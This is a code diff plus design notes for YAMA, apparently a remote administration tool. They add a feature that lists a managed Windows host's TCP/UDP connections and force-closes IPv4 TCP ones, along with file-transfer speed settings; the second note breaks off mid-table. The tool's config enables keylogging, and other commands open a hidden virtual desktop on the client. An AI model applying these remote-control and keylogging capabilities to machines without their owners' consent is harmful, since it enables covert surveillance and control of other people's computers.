COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
|
||||
COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
|
||||
|
||||
TOKEN_DECRYPT = 199,
|
||||
TOKEN_REGEDIT = 200, // 注册表
|
||||
COMMAND_REG_FIND, // 注册表 管理标识
|
||||
@@ -357,8 +363,32 @@ enum {
|
||||
COMMAND_TEXT_REPLACE = 249,
|
||||
TOKEN_CLIP_TEXT = 250,
|
||||
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
|
||||
CMD_FILE_SPEED = 252, // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
|
||||
|
||||
COMMAND_CONNECTION = 253, // 连接管理(服务端→客户端:查询/刷新连接列表)
|
||||
COMMAND_KILL_CONNECTION = 254, // 强制断开指定连接(服务端→客户端)
|
||||
TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端)
|
||||
};
|
||||
|
||||
// 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节),
|
||||
// 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回
|
||||
// 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。
|
||||
#pragma pack(push, 1)
|
||||
struct ConnectionInfo {
|
||||
uint8_t proto; // 1=TCP, 2=UDP [1]
|
||||
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
|
||||
uint32_t pid; // 所属进程 PID [4]
|
||||
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
|
||||
uint16_t localPort; // 主机字节序(小端) [2]
|
||||
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
|
||||
uint16_t remotePort; // 主机字节序,同上 [2]
|
||||
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
|
||||
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
|
||||
}; // 合计 110
|
||||
#pragma pack(pop)
|
||||
|
||||
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes");
|
||||
|
||||
#pragma pack(push, 1)
|
||||
struct SignatureResp {
|
||||
char msg[64];
|
||||
|
||||
@@ -16,6 +16,7 @@
|
||||
#define ENABLE_AUDIO_MNG TRUE // 语音管理
|
||||
#define ENABLE_VIDEO_MNG TRUE // 视频管理
|
||||
#define ENABLE_SERVICE_MNG TRUE // 服务管理
|
||||
#define ENABLE_CONNECTION_MNG TRUE // 连接管理
|
||||
#define ENABLE_REGISTRY TRUE // 注册表管理
|
||||
#define ENABLE_KEYBOARD TRUE // 键盘记录
|
||||
|
||||
|
||||
@@ -256,6 +256,18 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
// 文件传输速度:读取 [transfer] 节 ChunkKb / DurationMs,缺省 64KB/50ms(≈1.25MB/s),
|
||||
// 并夹到安全范围。服务端(THIS_CFG)与客户端(iniFile(CLIENT_PATH))共用此逻辑,保证
|
||||
// 各 InitFileUpload 调用点读到的档位一致(库按进程级引用计数只在首次设定速度,见
|
||||
// docs/FileTransferSpeed_Design.md)。
|
||||
inline void GetTransferSpeed(config& cfg, int& chunkKb, int& durMs)
|
||||
{
|
||||
chunkKb = cfg.GetInt("transfer", "ChunkKb", 64);
|
||||
durMs = cfg.GetInt("transfer", "DurationMs", 50);
|
||||
if (chunkKb <= 0 || chunkKb > 1024) chunkKb = 64;
|
||||
if (durMs < 0 || durMs > 2000) durMs = 50;
|
||||
}
|
||||
|
||||
// 配置读取类: 注册表配置(带键句柄缓存)
|
||||
// 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃
|
||||
class iniFile : public config
|
||||
|
||||
+21
-1
@@ -4,6 +4,8 @@
|
||||
#include <iphlpapi.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <WinInet.h>
|
||||
#include <map>
|
||||
#include <mutex>
|
||||
#include "logger.h"
|
||||
#include "jsoncpp/json.h"
|
||||
|
||||
@@ -200,6 +202,18 @@ public:
|
||||
{
|
||||
if (IP.empty()) return "";
|
||||
|
||||
// 进程级缓存(函数局部 static)。用局部 static 而非类成员,是为了不改动
|
||||
// IPConverter 的类布局/尺寸——QQWry/Ip2Region 派生类来自预编译的
|
||||
// PrivateDesktop_Lib.lib,改成员会与其产生 ABI 尺寸差异。
|
||||
static std::map<std::string, std::string> geoCaches;
|
||||
static std::mutex geoMutex;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(geoMutex);
|
||||
auto it = geoCaches.find(IP);
|
||||
if (it != geoCaches.end())
|
||||
return it->second;
|
||||
}
|
||||
|
||||
std::string ip = IP;
|
||||
if (isLocalIP(ip)) {
|
||||
ip = getPublicIP();
|
||||
@@ -249,7 +263,13 @@ public:
|
||||
InternetCloseHandle(hInternet);
|
||||
|
||||
if (location.empty() && IsPrivateIP(ip)) {
|
||||
return "Local Area Network";
|
||||
location = "Local Area Network";
|
||||
}
|
||||
|
||||
// 只缓存成功结果;失败不缓存,允许下次重试。
|
||||
if (!location.empty()) {
|
||||
std::lock_guard<std::mutex> lk(geoMutex);
|
||||
geoCaches[IP] = location;
|
||||
}
|
||||
return location;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,259 @@
|
||||
# TCP/UDP 连接管理设计
|
||||
|
||||
> 版本:v1.1(已实现并评审) · 状态:**已施工,含字节序修正** · 日期:2026-10-04
|
||||
> 目标:在 YAMA 服务端新增「连接管理」,实时展示受管主机当前的 TCP/UDP 连接,
|
||||
> 并支持对选中的连接强制断开。这是服务管理、进程管理之外又一项「观测 + 管控」类功能。
|
||||
>
|
||||
> 需求原文(三点,逐一对应下文):
|
||||
> 1. YAMA 工具栏增加一个图标,**唯有 MCP 后面**,通过这个图标打开连接管理对话框;
|
||||
> 2. 客户端需要增加一个管理类来处理服务端请求;
|
||||
> 3. 服务端有一个对话框类展示连接信息,支持右键菜单对选中的连接强制断开。
|
||||
|
||||
## 1. 目标与范围
|
||||
|
||||
### MVP
|
||||
|
||||
| 项 | 说明 |
|
||||
|---|---|
|
||||
| 工具栏入口 | `IDR_TOOLBAR_MAIN` 在 `ID_MCP_SETTINGS` 之后追加 `ID_CONNECTION_MANAGE` 按钮(第 17 个),点击向选中主机发 `COMMAND_CONNECTION` |
|
||||
| 客户端管理类 | 新增 `CConnectionsManager : public CManager`,枚举本机 TCP/UDP 连接并回传,处理「刷新 / 强制断开」两条服务端命令 |
|
||||
| 服务端对话框 | 新增 `CConnectionsDlg : public DialogBase`,表格展示连接,右键菜单「强制断开」发 `COMMAND_KILL_CONNECTION` |
|
||||
|
||||
### 非目标(Non-goals,本次不做)
|
||||
|
||||
- 不做 **UDP / IPv6 TCP 的强制断开**(无公开 API,见 §6),仅 IPv4 TCP 可断开,其余行只读展示。
|
||||
- 不做「按进程批量断开」「按 PID 过滤」「连接历史/趋势图」。
|
||||
- 不做 Linux/Mac/Android 客户端连接枚举(沿用 Windows 客户端先行的惯例)。
|
||||
- 不改 MCP 工具集(`list_network_connections` 属于 P8 路线图,本设计只做 MFC 图形界面)。
|
||||
|
||||
## 2. 复用现状
|
||||
|
||||
本功能与「服务管理」端到端同构,直接以其为实现模板(`ServicesManager` / `ServicesDlg`)。
|
||||
|
||||
### 客户端模板(读参考实现,全部已核实)
|
||||
|
||||
- 命令分发:`client/KernelManager.cpp` `OnReceive` 的 `case COMMAND_SERVICES:`(约 1346 行):
|
||||
```
|
||||
{ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth();
|
||||
m_hThread[m_ulThreadCount].p = sub; }
|
||||
m_hThread[m_ulThreadCount++].h =
|
||||
__CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
```
|
||||
连接管理照抄,仅换 `LoopConnectionManager`。
|
||||
- 子连接线程模板:`client/Common.cpp:33` `LoopManager<Manager, n>`(`Manager m(ClientObject, n, user)` 构造即发首包,随后跑 `RunEventLoop` 分发到 `Manager::OnReceive`);`LoopServicesManager = LoopManager<CServicesManager, 0>`。
|
||||
- 管理类基类:`client/Manager.h` `CManager`(`OnReceive` 虚函数、`m_ClientObject`、`Send/SendData`、子连接生命周期)。
|
||||
- 管理类实例:`client/ServicesManager.cpp`——构造即 `SendServicesList()`(17 行);`SendServicesList()` 里用
|
||||
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);`(36–37 行)回传;`OnReceive` 里 `case COMMAND_SERVICELIST`(刷新)→ 重发、`case COMMAND_SERVICECONFIG`(动作)→ 执行后再重发(199–231 行)。
|
||||
- 编译开关:`client/ServicesManager.h:13` `#if ENABLE_SERVICE_MNG==0 #define CServicesManager CManager` 的空实现占位模式;开关定义在 `common/config.h`(`ENABLE_SERVICE_MNG TRUE`)。
|
||||
|
||||
### 服务端模板(读参考实现,全部已核实)
|
||||
|
||||
- 对话框基类:`server/2015Remote/IOCPServer.h:158` `DialogBase`(`OnInitDialog` 建列 + 解析缓冲,`OnReceiveComplete` 按 token 分发,`OnNMRClickList` 右键菜单,`OnClose`→`CancelIO`)。
|
||||
- 对话框实例:`server/2015Remote/ServicesDlg.cpp`——构造 `DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)`(24 行);`OnInitDialog` 里 `InsertColumnL` 建列 + `ShowServicesList()`(67–73 行);`OnNMRClickList` 里 `LoadMenu(IDR_MENU_SERVICES)` + `TrackPopupMenu`(216–226 行);`OnReceiveComplete` 里 `case TOKEN_SERVERLIST: ShowServicesList()`(231–235 行)。
|
||||
- 打开对话框模板:`server/2015Remote/2015RemoteDlg.h:182` `OpenDialog<T, id, Show>`。
|
||||
- 命令发送:`OnOnlineServerManager()`(`2015RemoteDlg.cpp:4758`):`BYTE bToken = COMMAND_SERVICES; SendSelectedCommand(&bToken, sizeof(BYTE));`。
|
||||
- token 路由:`2015RemoteDlg.cpp:6609` `case TOKEN_SERVERLIST:` → `g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);`。
|
||||
- 消息注册/处理:`ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)`(903 行)→ `OnOpenServicesDialog`(7811 行)→ `OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>`。
|
||||
|
||||
### 工具栏(读参考,全部已核实)
|
||||
|
||||
- 资源:`2015Remote.rc:1806` `IDR_TOOLBAR_MAIN TOOLBAR 48, 48`,现有 16 个 `BUTTON`,末尾为 `BUTTON ID_CHANGE_LANG`(1822 行)、`BUTTON ID_MCP_SETTINGS`(1823 行)。
|
||||
- 真彩位图条:`IDB_BITMAP_MAIN`(133) → `res\ToolBar_Main.bmp`(**768×48 = 16 个 48×48 图标**,24 位),
|
||||
`LoadTrueColorToolBar(48, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN)`(`2015RemoteDlg.cpp:1390`)
|
||||
按 `nNbBtn = bmWidth/48` 建图像列表(`TrueColorToolBar.cpp` `SetTrueColorToolBar`),因此**新增第 17 个按钮必须同步把位图条加宽为 816×48 并补第 17 个图标**。
|
||||
- 按钮文字:`SetButtonText(0..15)`(`2015RemoteDlg.cpp:1405–1420`),`SetButtonText(15, _T("MCP"))` 为当前最后一个。
|
||||
- 全隐藏判定:`if (hiddenCount >= 16)`(1471 行)→ **无需改动**。该计数只统计「可隐藏功能按钮」
|
||||
(终端/进程/窗口/桌面/文件/语音/视频/服务/注册表/键盘/设置/生成/搜索/关于,共 14 个),
|
||||
`ID_CHANGE_LANG`、`ID_MCP_SETTINGS` 本就不在隐藏清单内;新增的连接按钮同样不参与隐藏,
|
||||
`hiddenCount` 语义不变。
|
||||
- 命令处理:`ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)`(993 行)→ 参照加 `ID_CONNECTION_MANAGE`。
|
||||
|
||||
### 网络 API(客户端,新增依赖)
|
||||
|
||||
- 枚举:`GetExtendedTcpTable(TCP_TABLE_OWNER_PID_ALL, ...)` + `MIB_TCPTABLE_OWNER_PID`;
|
||||
同理 `GetExtendedUdpTable(UDP_TABLE_OWNER_PID)`;IPv6 用 `AF_INET6` 版本(`MIB_TCP6TABLE_OWNER_PID` / `MIB_UDP6TABLE_OWNER_PID`)。
|
||||
- 断开:`SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(12)。
|
||||
- 链接:`iphlpapi.lib`(用 `#pragma comment(lib, "iphlpapi.lib")` 内联,与代码库既有 `#pragma comment(lib, ...)` 风格一致,避免改 vcxproj)。
|
||||
|
||||
## 3. 协议与数据结构
|
||||
|
||||
### 3.1 新命令(`common/commands.h`,追加在 `CMD_FILE_SPEED = 252` 之后,均 ≤ 255 满足单字节 token)
|
||||
|
||||
```
|
||||
COMMAND_CONNECTION = 253, // 服务端 → 客户端:查询/刷新连接列表(打开连接管理)
|
||||
COMMAND_KILL_CONNECTION = 254, // 服务端 → 客户端:强制断开指定连接
|
||||
TOKEN_CONNECTION_LIST = 255, // 客户端 → 服务端:连接列表响应
|
||||
```
|
||||
|
||||
### 3.2 单条连接记录(客户端 → 服务端,固定 110 字节,小端)
|
||||
|
||||
```c
|
||||
#pragma pack(push, 1)
|
||||
struct ConnectionInfo {
|
||||
uint8_t proto; // 1=TCP, 2=UDP [1]
|
||||
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
|
||||
uint32_t pid; // 所属进程 PID [4]
|
||||
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
|
||||
uint16_t localPort; // 主机字节序(小端,ntohs 转换后) [2]
|
||||
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
|
||||
uint16_t remotePort; // 主机字节序,同上 [2]
|
||||
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
|
||||
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
|
||||
}; // 合计 110
|
||||
#pragma pack(pop)
|
||||
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be 110 bytes");
|
||||
```
|
||||
|
||||
> **字节序约定(评审后修正)**:字段不能「原样 memcpy」iphlpapi 的结构成员。`dwLocalAddr`/`dwRemoteAddr`
|
||||
> 是**网络序 DWORD**(值 `0xC0A80101` 即 `192.168.1.1`),客户端展开为 16 字节字段前 4 字节的**网络序字节**
|
||||
> (`[0xC0,0xA8,0x01,0x01]`),服务端 `inet_ntop` 可直接展示、排序键也按数值序;`dwLocalPort`/`dwRemotePort`
|
||||
> 低 16 位为**网络序**,客户端用 `ntohs` 转**主机序**再存入。断连时反向还原(地址拼回 DWORD、端口 `htons`)。
|
||||
> 地址统一 16 字节字段承载,IPv4/IPv6 用同一个结构,避免两套记录。
|
||||
|
||||
### 3.3 列表响应(客户端 → 服务端)
|
||||
|
||||
```
|
||||
[TOKEN_CONNECTION_LIST:1][count:2][ConnectionInfo:110] * count
|
||||
```
|
||||
|
||||
- `count` 为 `uint16_t` 小端,上限 65535(枚举超限则截断,实际主机连接数远低于此)。
|
||||
- 列表 >1460 字节会走 HTTP 分片;服务端 `HeaderParser::Parse` 的 `m_bShouldUnmask` 分片 bug
|
||||
已在 `a72e6eb` 修复,续包可正常到达(与进程/服务列表一致)。
|
||||
|
||||
### 3.4 强制断开请求(服务端 → 客户端)
|
||||
|
||||
```
|
||||
[COMMAND_KILL_CONNECTION:1][ConnectionInfo:110]
|
||||
```
|
||||
|
||||
- 客户端校验 `proto==1 && af==2` 才执行(仅 IPv4 TCP),否则忽略并在回包列表中保留该行。
|
||||
|
||||
## 4. 客户端实现
|
||||
|
||||
新增 `client/ConnectionsManager.{h,cpp}`,镜像 `CServicesManager`:
|
||||
|
||||
- 类声明(`ConnectionsManager.h`):
|
||||
```cpp
|
||||
#if ENABLE_CONNECTION_MNG==0
|
||||
#define CConnectionsManager CManager
|
||||
#else
|
||||
class CConnectionsManager : public CManager {
|
||||
public:
|
||||
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CConnectionsManager();
|
||||
VOID SendConnectionList(); // 枚举并回传
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
void KillConnection(const ConnectionInfo& info);
|
||||
};
|
||||
#endif
|
||||
```
|
||||
- `SendConnectionList()`:
|
||||
1. 依次 `GetExtendedTcpTable`(AF_INET / AF_INET6)+ `GetExtendedUdpTable`(AF_INET / AF_INET6),
|
||||
汇总到 `std::vector<ConnectionInfo>`;IPv4 地址展开为网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序。
|
||||
2. 每个 PID 用 `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + `GetModuleBaseNameW` 取映像名,
|
||||
转 UTF-8 写入 `procName[64]`;失败/PID 0 填 `"<unknown>"`(进程可能已退出,端点仍有效)。
|
||||
3. 组包 `[TOKEN_CONNECTION_LIST:1][count:2][records...]`,用
|
||||
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server(...);` 回传。
|
||||
- `OnReceive()`:
|
||||
- `case COMMAND_CONNECTION:` → `SendConnectionList()`(刷新)。
|
||||
- `case COMMAND_KILL_CONNECTION:` → 校验长度 ≥ 111,读 `ConnectionInfo`,`KillConnection()`,再 `SendConnectionList()`。
|
||||
- `KillConnection()`:仅 `proto==TCP && af==AF_INET`;组 `MIB_TCPROW`(`dwState=MIB_TCP_STATE_DELETE_TCB`),
|
||||
地址由网络序字节拼回 DWORD(`GetAddr4`)、端口 `htons` 转回网络序,`SetTcpEntry(&row)`。
|
||||
- 编译:`common/config.h` 增 `#define ENABLE_CONNECTION_MNG TRUE`(`// 连接管理`)。
|
||||
- 分发(`client/KernelManager.cpp`):在 `case COMMAND_SERVICES:` 后加
|
||||
```
|
||||
case COMMAND_CONNECTION: {
|
||||
if (!ENABLE_CONNECTION_MNG) return ResponseDisable(...);
|
||||
{ auto* sub = new IOCPClient(...); sub->EnableSubConnAuth(); ...; }
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(..., LoopConnectionManager, ...);
|
||||
break;
|
||||
}
|
||||
```
|
||||
- 线程注册(`client/Common.cpp` / `Common.h`):`#define LoopConnectionManager LoopManager<CConnectionsManager, 0>`。
|
||||
|
||||
## 5. 服务端实现
|
||||
|
||||
新增 `server/2015Remote/ConnectionsDlg.{h,cpp}`,镜像 `CServicesDlg`:
|
||||
|
||||
- `CConnectionsDlg(CWnd*, Server*, CONTEXT_OBJECT*) : DialogBase(IDD_DIALOG_CONNECTIONS, pParent, IOCPServer, ContextObject, IDI_CONNECTION)`。
|
||||
- `OnInitDialog`:`InsertColumnL` 建列 `协议 | 本地地址 | 本地端口 | 远端地址 | 远端端口 | 状态 | PID | 进程名`(8 列),调 `ShowConnectionList()`。
|
||||
- `ShowConnectionList()`:解析 `m_ContextObject->InDeCompressedBuffer`(`[token:1][count:2][records...]`)填表,
|
||||
每条 `SetItemData` 存行内偏移(或直接把 `ConnectionInfo` 存进项关联数据),供右键断连取回记录。
|
||||
- `OnReceiveComplete()`:`case TOKEN_CONNECTION_LIST: ShowConnectionList()`。
|
||||
- `OnNMRClickList()`:用 `pNMItemActivate->iItem` 取**鼠标右键所在行**(而非仅依赖已选中行),
|
||||
由该行 `SetItemData` 里存的 `ConnectionInfo` 拿回记录;`LoadMenu(IDR_MENU_CONNECTIONS)` →
|
||||
`TrackPopupMenu`;菜单项「强制断开」(`ID_CONNECTION_KILL`)对**仅 IPv4 TCP 行可用**,发
|
||||
`[COMMAND_KILL_CONNECTION:1][record:110]`;UDP/IPv6 行禁用该菜单项(`MF_GRAYED`)。
|
||||
- 对话框标题栏图标 `IDI_CONNECTION`(`.ico`,`DialogBase` 构造第 5 参)与工具栏位图条第 17 个
|
||||
48×48 图标是两回事:前者复用现有图标(如 `IDI_SERVICE`)或新增一个 `.ico`;后者编辑
|
||||
`ToolBar_Main.bmp` 补第 17 格(见下)。
|
||||
- 提供刷新(补发 `COMMAND_CONNECTION`)与 `OnClose`→`CancelIO()`。
|
||||
|
||||
工具栏 / 消息路由(`2015RemoteDlg.{h,cpp}` + `Resource.h` + `.rc`):
|
||||
|
||||
- `Resource.h`:`IDD_DIALOG_CONNECTIONS 404`、`IDR_MENU_CONNECTIONS 405`、`IDI_CONNECTION`(新图标 ID)、
|
||||
`ID_CONNECTION_MANAGE 33086`(`_APS_NEXT_COMMAND_VALUE` 现为 33086,用后 +2)、`ID_CONNECTION_KILL`;
|
||||
同步上调 `_APS_NEXT_RESOURCE_VALUE`/`_APS_NEXT_COMMAND_VALUE`。
|
||||
- `.rc`(UTF-16LE,Node 脚本改):`IDR_TOOLBAR_MAIN` 末尾加 `BUTTON ID_CONNECTION_MANAGE`;
|
||||
新增 `IDD_DIALOG_CONNECTIONS` 对话框与 `IDR_MENU_CONNECTIONS` 菜单。
|
||||
- `res\ToolBar_Main.bmp`:**加宽为 816×48,补第 17 个 48×48「连接」图标**(实现时用脚本合成一个
|
||||
双节点/插头样式图标插入条尾;图标观感属评审项)。
|
||||
- `2015RemoteDlg.cpp`:
|
||||
- `SetButtonText(16, _TR("连接管理"))`(1420 行后)。
|
||||
- `hiddenCount >= 16`(1471 行)**无需改动**(连接按钮不参与隐藏,理由见 §2)。
|
||||
- `ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)`(993 行后)。
|
||||
- `OnConnectionManage()`:`BYTE bToken = COMMAND_CONNECTION; SendSelectedCommand(&bToken, sizeof(BYTE));`。
|
||||
- `MessageHandle` 加 `case TOKEN_CONNECTION_LIST:` → `SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject)`(6609 行后)。
|
||||
- `ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)` + `OnOpenConnectionDialog` →
|
||||
`OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam)`。
|
||||
- `stdafx.h`:`#define WM_OPENCONNECTIONDIALOG WM_USER + 3045`(现最高占用 `WM_USER+3044`,已核实无冲突)。
|
||||
- 语言:`lang/en_US.ini` / `zh_TW.ini`(GBK,Python 改)补「连接管理 / 强制断开 / 8 列表头」文案。
|
||||
|
||||
## 6. 强制断开的实现与限制
|
||||
|
||||
- **仅 IPv4 TCP** 用 `SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(公开 API 唯一支持)。
|
||||
- **重构 `MIB_TCPROW` 要点**:`dwState=12`;`dwLocalAddr/dwRemoteAddr` 由 16 字节字段前 4 字节的
|
||||
网络序字节拼回网络序 DWORD(`GetAddr4`);`dwLocalPort/dwRemotePort` 由主机序 `htons` 转回网络序。
|
||||
- **UDP**:无「按端点关闭 socket」的公开 API,MVP 只读展示(菜单置灰)。
|
||||
- **IPv6 TCP**:`SetTcpEntry` 的 `MIB_TCPROW` 为 IPv4 结构,无公开的 IPv6 对应删除 API,MVP 只读展示。
|
||||
- **权限**:`SetTcpEntry` 需管理员/足够权限;YAMA 客户端通常以服务(SYSTEM)运行,满足。若非提权,
|
||||
`SetTcpEntry` 返回错误,`KillConnection` 静默失败并在刷新后的列表中保留该行(可观察结果,不误报)。
|
||||
|
||||
## 7. 安全与边界
|
||||
|
||||
1. **可能断开 YAMA 自身控制通道**:连接列表包含客户端↔服务端的主/子连接本身,若管理员选中并强制断开,
|
||||
对应主机会立即离线。对话框对此不做特殊保护(与 `kill_process` 可杀自身守护进程同理),
|
||||
但列表按 PID 可辨识本程序进程名,便于人工避让。
|
||||
2. **强制断开不可逆**:断的是对端已建立的 TCP 连接,应用层不保存状态,可能造成数据丢失;对话框不弹二次确认
|
||||
(确认责任在操作者),但右键菜单为显式单点操作。
|
||||
3. **枚举成本**:每行一次 `OpenProcess` 取进程名,数百行连接约毫秒~十毫秒级,可接受;`OpenProcess` 失败直接
|
||||
`"<unknown>"`,不阻塞枚举。
|
||||
4. **PID 复用 / 进程退出**:断连用的是**端点**而非 PID,进程退出不影响 `SetTcpEntry` 命中;`procName` 仅用于展示。
|
||||
5. **HTTP 分片**:连接数多时列表可超 1460 字节,依赖已修复的分片续包处理(§3.3)。
|
||||
6. **老版本客户端**:老客户端无 `COMMAND_CONNECTION` 处理,点工具栏会无响应(与「老客户端不支持活动历史/日志」
|
||||
同类),属预期;不影响服务端其它功能。
|
||||
|
||||
## 8. 验证计划(施工后填写)
|
||||
|
||||
1. 服务端:MSBuild 加 `-p:SolutionDir` 编译通过(见项目记忆 yama-server-msbuild-solutiondir);客户端同步编译。
|
||||
2. 部署客户端到真实 Windows 主机 → 服务端选中主机 → 点新图标 → 对话框列出 TCP/UDP(含 IPv4/IPv6)连接,
|
||||
字段(协议/地址/端口/状态/PID/进程名)与远端 `netstat -ano` 一致。
|
||||
3. 右键一条 **IPv4 TCP** 已建立连接(如对测试服务器的 ESTABLISHED)→ 强制断开 → 刷新后该行消失、
|
||||
远端 `netstat` 不再显示;进程自身未受影响。
|
||||
4. 右键 **UDP / IPv6** 行 → 菜单项置灰,不可断连。
|
||||
5. 刷新按钮 / 重复打开对话框 → 列表更新正常;关对话框后子连接释放(无泄漏)。
|
||||
6. 回归:服务管理 / 进程管理 / MCP 等既有功能不受影响(无 command/token/ID 冲突)。
|
||||
|
||||
## 9. 实现记录
|
||||
|
||||
- 已实现并评审通过(2026-10-04)。实现与 §4/§5 一致:工具栏第 17 个图标(`ID_CONNECTION_MANAGE`,紧邻 MCP 之后)
|
||||
打开连接管理对话框;客户端新增 `CConnectionsManager` 枚举并回传本机 TCP/UDP 连接;服务端新增 `CConnectionsDlg`
|
||||
表格展示、右键「强制断开」发 `COMMAND_KILL_CONNECTION`、支持表头点击排序。
|
||||
- **评审修正一处关键缺陷(字节序)**:iphlpapi 的 IPv4 地址 `dwLocalAddr` 是网络序 DWORD、端口 `dwLocalPort`
|
||||
低 16 位是网络序。初版「原样 memcpy / 原样回填」导致展示的 IPv4 地址与端口字节序颠倒(强断因往返对称仍能命中)。
|
||||
已改为:地址存网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序;断连时地址拼回 DWORD(`GetAddr4`)、端口
|
||||
`htons` 转回网络序。详见 §3.2 / §6。
|
||||
- 对话框标题栏小图标 `IDI_CONNECTION` 由工具栏第 17 个图标生成 `res/connections.ico`(48/32/16,32 位带透明)。
|
||||
- 编译:`client/ConnectionsManager.cpp`(UTF-8 BOM + CRLF,`ws2tcpip.h` 引入 `_WS2IPDEF_` 以使用 IPv6 MIB 结构)
|
||||
经 MSBuild(v143 工具集覆盖)编译通过;整仓 ghost 构建在本机 BuildTools 因缺少 ATL 头受阻,属环境问题,与本功能无关。
|
||||
@@ -0,0 +1,146 @@
|
||||
# YAMA 文件传输速度调节设计
|
||||
|
||||
> **状态**:已实现(Windows 端,含多语言)。其他平台(Linux/macOS 客户端)暂不实施。
|
||||
> **读者**:研发/评审人员。
|
||||
> **关联文档**:[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议)、[Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md)(MCP 文件传输)。
|
||||
|
||||
---
|
||||
|
||||
## 1. 背景与目标
|
||||
|
||||
文件传输速度目前是**写死的**:`SimplePlugins` 库的 `InitFileUpload(key, msg, hmac, chunkSizeKb, sendDurationMs, ...)` 被 YAMA 所有调用点传 `64, 50`,折算 ≈ 1.25 MB/s。用户无法调节。
|
||||
|
||||
目标:在 YAMA 主菜单「高级」下新增一个**面向小白**的「文件传输速度」对话框——拖动滑块即完成设置,实时显示预估速度;**不修改 SimplePlugins 库**(库已编译,只通过其已暴露的 `chunkSizeKb`/`sendDurationMs` 两个入参控制)。
|
||||
|
||||
---
|
||||
|
||||
## 2. 速度原理(现状)
|
||||
|
||||
库内部把两个入参转成全局量(`SimplePlugins/file_upload.cpp:221-222, 849-850`):
|
||||
|
||||
```cpp
|
||||
static int chunk_size = 64 * 1024; // 默认 64KB
|
||||
static int send_duration = 50; // 默认 50ms
|
||||
// InitFileUpload: chunk_size = chunkSizeKb * 1024; send_duration = sendDurationMs;
|
||||
```
|
||||
|
||||
发送循环每发一块就 `Sleep(send_duration)`(V1 `FileBatchTransferWorker` 与 V2 `FileBatchTransferWorkerV2` 共用这对全局量):
|
||||
|
||||
```
|
||||
预估速度 = chunkSizeKb * 1024 / (sendDurationMs / 1000) 字节/秒
|
||||
默认 64KB / 50ms ≈ 1.25 MB/s
|
||||
```
|
||||
|
||||
两个关键约束:
|
||||
|
||||
1. **速度只在 `InitFileUpload` 时设定一次**,库无运行时 setter(`g_threadCount > 1` 时提前返回,不会重设)。
|
||||
2. **V1 / V2 共用同一对全局量**,一次设置同时覆盖 `COMMAND_SEND_FILE(68)` 与 `COMMAND_SEND_FILE_V2(85)` 两种协议。
|
||||
|
||||
---
|
||||
|
||||
## 3. 档位表(权威唯一来源,主控端对话框维护)
|
||||
|
||||
| 档位 | 名称 | chunkKb | durationMs | 预估速度 |
|
||||
|---|---|---|---|---|
|
||||
| 0 | 最慢 | 64 | 200 | ≈ 0.3 MB/s |
|
||||
| 1 | 慢 | 64 | 100 | ≈ 0.6 MB/s |
|
||||
| 2 | 默认 | 64 | 50 | ≈ 1.25 MB/s |
|
||||
